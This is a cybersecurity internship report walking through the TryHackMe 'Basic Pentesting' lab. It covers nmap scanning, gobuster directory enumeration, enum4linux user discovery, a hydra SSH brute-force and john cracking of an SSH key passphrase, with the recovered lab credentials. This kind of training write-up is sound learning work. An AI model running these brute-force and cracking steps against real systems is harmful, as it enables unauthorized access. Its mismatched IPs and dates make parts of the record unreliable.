

ShadowFox Cyber Security Virtual Internship Program

Task Report Level (Hard)



BY

Name: GOPICHAND DANDIMENI

Email: GC67766@gmail.com

Batch: Shadow Fox-Cyber Security July B1

Index

TITLE

Basic Pentesting room in the Tryhackme platform

Index Figures

Figure No	Name	Page No
3.2.1	souce code	5
3.2.2	hidden directions	5
3.2.3	user names	6
3.2.4	jan password	6
3.2.5	Kay's home directory	6
3.2.6	passphrase with john	7
3.2.7	Logging into Kay's SSH	7

Index of Shortcuts

1. 3.2.1, 3.2.2. 3.2... =3 level 2nd task 1st image
2. SSH = Secure Shell

Statement

Using the Tryhackme platform, launch the Basic Pentesting room. Penetrate the room and answer all the questions that are given to you on the website and also create a detailed document of the process of penetration and how you did it

Introduction

The TryHackMe platform offers possibilities for learning some cybersecurity skills, especially penetration tests, in an interesting way while keeping the fun alive. The Basic Pentesting room is made for newbies to understand the most basic tools and techniques used in ethical hacking. Participants challenge themselves on various tasks that simulate real-world practicality, allowing them to improve their hands-on skills. Once a user completes this room, they will have firsthand experience with reconnaissance, exploitation, and privilege escalation. All this is mandatory training for anyone who wants to pursue a line in cybersecurity.

Information about the report

1. **Targated Website :** Tryhackme(website) Pentesting room
2. **Purpose:** Identify vulnerabilities and retrieve the password.
3. **Tools used:**
 - a. nmap (port scanning)
 - b. gobuster (web directory brute-forcing)
 - c. smbclient (SMB enumeration)
 - d. hydra (SSH brute-forcing)
 - e. ssh2john (private key cracking)
4. **Date of attack performed :-** 12 july 2025

Attack

Attack name :-

1. Web Directory Enumeration
2. SSH Brute-Force Attack
3. SSH Key Passphrase Cracking

Severity

It is also know as CVSS (Common Vulnerability Scoring System)

- **Score Range: 0.0 – 10.0**

Score	Severity Level	Meaning
0.0	None	No impact.
0.1 – 3.9	Low	Minor issue (e.g., info leak, non-critical misconfig).

4.0 – 6.9	Medium	Significant risk (e.g., privilege escalation, DoS potential).
7.0 – 8.9	High	Serious risk (e.g., RCE, SQLi, authentication bypass).
9.0 – 10.0	Critical	Immediate threat (e.g., wormable exploits, system compromise).

The Severity scoring of Tryhackme(website) Pentesting room

- **Attack Name:** Web Directory Enumeration

4.0 – 6.9	Medium	Significant risk (e.g., privilege escalation, DoS potential).
-----------	--------	---

- **Attack Name:** Weak Password Compromise

9.0 – 10.0	Critical	Immediate threat (e.g., wormable exploits, system compromise).
------------	----------	--

- **Attack Name:** SSH Key Passphrase Cracking

7.0 – 8.9	High	Serious risk (e.g., RCE, SQLi, authentication bypass).
-----------	------	--

Impact

1. **Attack Name:** Web Directory Enumeration

The exposed development directory was found to lead to sensitive files that revealed weaknesses in the system and valid usernames jan and kay. Such information leak, then built the basis on which subsequent attacks were conducted like SSH brute-forcing and privilege escalation. This vulnerability has a medium severity denoting that it is classified as CVSS 5.3, the real danger of compromising the targeted system completely by opening attack vectors that should have been secured.

a. **Exposure of Sensitive Information**

- I. Discovered files (dev.txt, j.txt) revealed:
- II. System misconfigurations (weak security settings).
- III. Valid usernames (jan, kay) and hints about weak passwords.

2. **Attack Name:** Weak Password Compromise

From the unauthorized initial access on, the intrusion supported by the brute-force attack with weak credentials (Username: jan, Password: armando) took place on the SSH service. Having gained an initial foothold, the attacker was free to enumerate the system and eventually discover the private SSH key of kay. The compromise utilized weak password policies as a critical security gap allowing the attacker to bypass authentication controls with minimal effort. Being considered Medium, the attack was raised to High due to its involvement in later attacks that led to privilege escalation and thus total compromise of the system. This incident emphasizes the need for strong passwords and other mitigations against that, such as multi-factor authentication or account lockout policies.

3. **Attack Name:** SSH Key Passphrase Cracking

The compromise of kay's weak SSH key passphrase (beeswax) led to almost total systems compromise with very rich administrative control. This high level breach enables the theft of sensitive data, manipulation of systems, and potential access across the network. The vulnerability illustrated serious failures in protection of cryptographic keys, wherein a single weak passphrase could break every security measure. This could cause dramatic outcomes in possible data deletion, ransomware attacks, or permanent backdoor installations into production environments. The severity of the attack was worsened due to the inherently permanent nature of key-based access which is impervious to change in passwords. Strong key passphrases as well as good key management practices in all systems should therefore be really emphasized.

Steps to Reproduce

1. Login in Basic Pentesting room on TryHackMe
2. Start the machine and connect to network
3. Find the services exposed by the machine to find open ports

```
nmap -sC -sV -oN nmap -p- <10.10.137.72>
```

Flags expiation

- **-sC** → **Runs default Nmap scripts (equivalent to `--script=default`).**
 - **-sV** → **Version detection (identifies services running on open ports).**
 - **-oN nmap** → **Saves the results in normal output format to a file named nmap.**
 - **-p-** → **Scans all 65,535 ports (instead of just the top 1,000).**
 - **<target ip>** → **The target IP address you want to scan.**
4. The question required to solve by finding hidden flag to solve that question the following Questions are
 5. **What is the name of the hidden directory on the web server(enter name without /)?**

When we see source code 10.10.137.72

```
1 <html>
2
3 <h1>Undergoing maintenance</h1>
4
5 <h4>Please check back later</h4>
6
7 <!-- Check our dev note section if you need to know what to work on. -->
8
9
10 </html>
```

Fig-3.2.1(souce code)

to find hidden directories by using gobuster I used `gobuster dir -w`

`/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <target ip>`

```

=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://10.10.192.229
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:      10s
=====
2022/07/19 08:39:17 Starting gobuster
=====
/development (Status: 301)
/server-status (Status: 403)
=====
2022/07/19 08:39:40 Finished
=====

```

Fig-3.2.2(hidden directions)

You can see 2 directories with status any one from this will be the answers

Answer: development

6. User brute-forcing to find the username & password

When you access to development page you will see dev.txt & j.tex

For port scanning to discored SMB use `enum4linux < 10.10.137.72>`

You will see the user name in output

```

S-1-5-32-1050 ~UNKNOWN~\~UNKNOWN~ (8)
[+] Enumerating users using SID S-1-22-1 and login username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and 10

```

Fig-3.2.3(user names)

To bruteforce Jan's account with Hydra we use `hydra -l jan -P /usr/share/wordlists/rockyou.txt`

`ssh://< 10.10.137.72>`

```

login: jan password: armando

```

Fig-3.2.4(jan password)

7. What is the username?

Answer: jan

8. What is the password?

Answer: armando

9. What service do you use to access the server(answer in abbreviation in all caps)?

Answer: SSH

10. Enumerate the machine to find any vectors for privilege escalation

To login in to login with SSH we can use `ssh jan@< 10.10.137.72>`

Now you can get into Kay's home directory

```

jan@basic2:~$ cd ..
jan@basic2:/home$ ls
jan  kay
jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ ls
pass.bak
jan@basic2:/home/kay$ cat pass.bak
cat: pass.bak: Permission denied

```

Fig-3.2.5(Kay's home directory)

11. What is the name of the other user you found(all lower case)?

Answer: kay

12. If you have found another user, what can you do with this information?

To run john john john_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

```

Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-openc1"
Use the "--format=ssh-openc1" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (kay_id rsa)

```

Fig-3.2.6(c)

You Login now

```

jan@basic2:/home/kay$ ssh kay@10.10.225.25 -i /home/kay/.ssh/id_rsa
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.225.25 (10.10.225.25)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn40PL7GN/DuVHVv00LT9N4W5ifchysQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key '/home/kay/.ssh/id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Tue Jul 19 06:02:08 2022 from 10.10.225.25
kay@basic2:~$

```

Fig-3.2.7(Logging into Kay's SSH)

13. What is the final password you obtain?

The final password obtain is earlier founded in vulnerability in the vim executable. In file of /Home/kay/.ssh/ID_RSA

Answer: heresareallystrongpasswordthatfollowsthepasswordpolicy

Mitigation Steps

1. Restrict Directory Access

Prevent unauthorized access to sensitive folders with .htaccess/server configurations.

2. Disable Directory Listing

The index should be disabled in the web server settings for files/folders to be invisible.

3. Remove Sensitive Files

Forget developer notes, backup files, or any credentials from off-production servers.

4. Implement Web Application Firewall (WAF)

Tools like ModSecurity must be employed to block any automated scans or attacks.

5. Enforce Strong Password Policies

Require 12 or more characters with symbols/numbers + enforce MFA.

6. Regular Password Audits

Assess password strength using Hashcat/John the Ripper.

7. Use Strong Passphrases for SSH Keys

Secure the private key with a passphrase of at least 20 characters + apply appropriate file permission restrictions

References and Resources Used

1. Web Directory Enumeration

- **OWASP Directory Traversal Guide:** https://owasp.org/www-community/attacks/Directory_traversal
- **Apache .htaccess Security:** <https://httpd.apache.org/docs/2.4/howto/htaccess.html>
- **ModSecurity (WAF):** <https://github.com/SpiderLabs/ModSecurity>

2. Weak Password Compromise

- **NIST Password Guidelines:** <https://pages.nist.gov/800-63-3/sp800-63b.html>
- **Fail2Ban (Brute-Force Protection):** <https://www.fail2ban.org>
- **Google Authenticator (MFA):** <https://github.com/google/google-authenticator>

3. SSH Key Passphrase Cracking

- **OpenSSH Hardening Guide:** <https://www.ssh.com/academy/guides/ssh-hardening>
- **John the Ripper (Password Cracking):** <https://www.openwall.com/john>
- **Linux File Permissions:** <https://linuxize.com/post/chmod-command-in-linux>

4. General Cybersecurity Standards

- **OWASP Top 10:** <https://owasp.org/www-project-top-ten>
- **MITRE ATT&CK Framework:** <https://attack.mitre.org>
- **CVSS Scoring (Severity Metrics):** <https://www.first.org/cvss>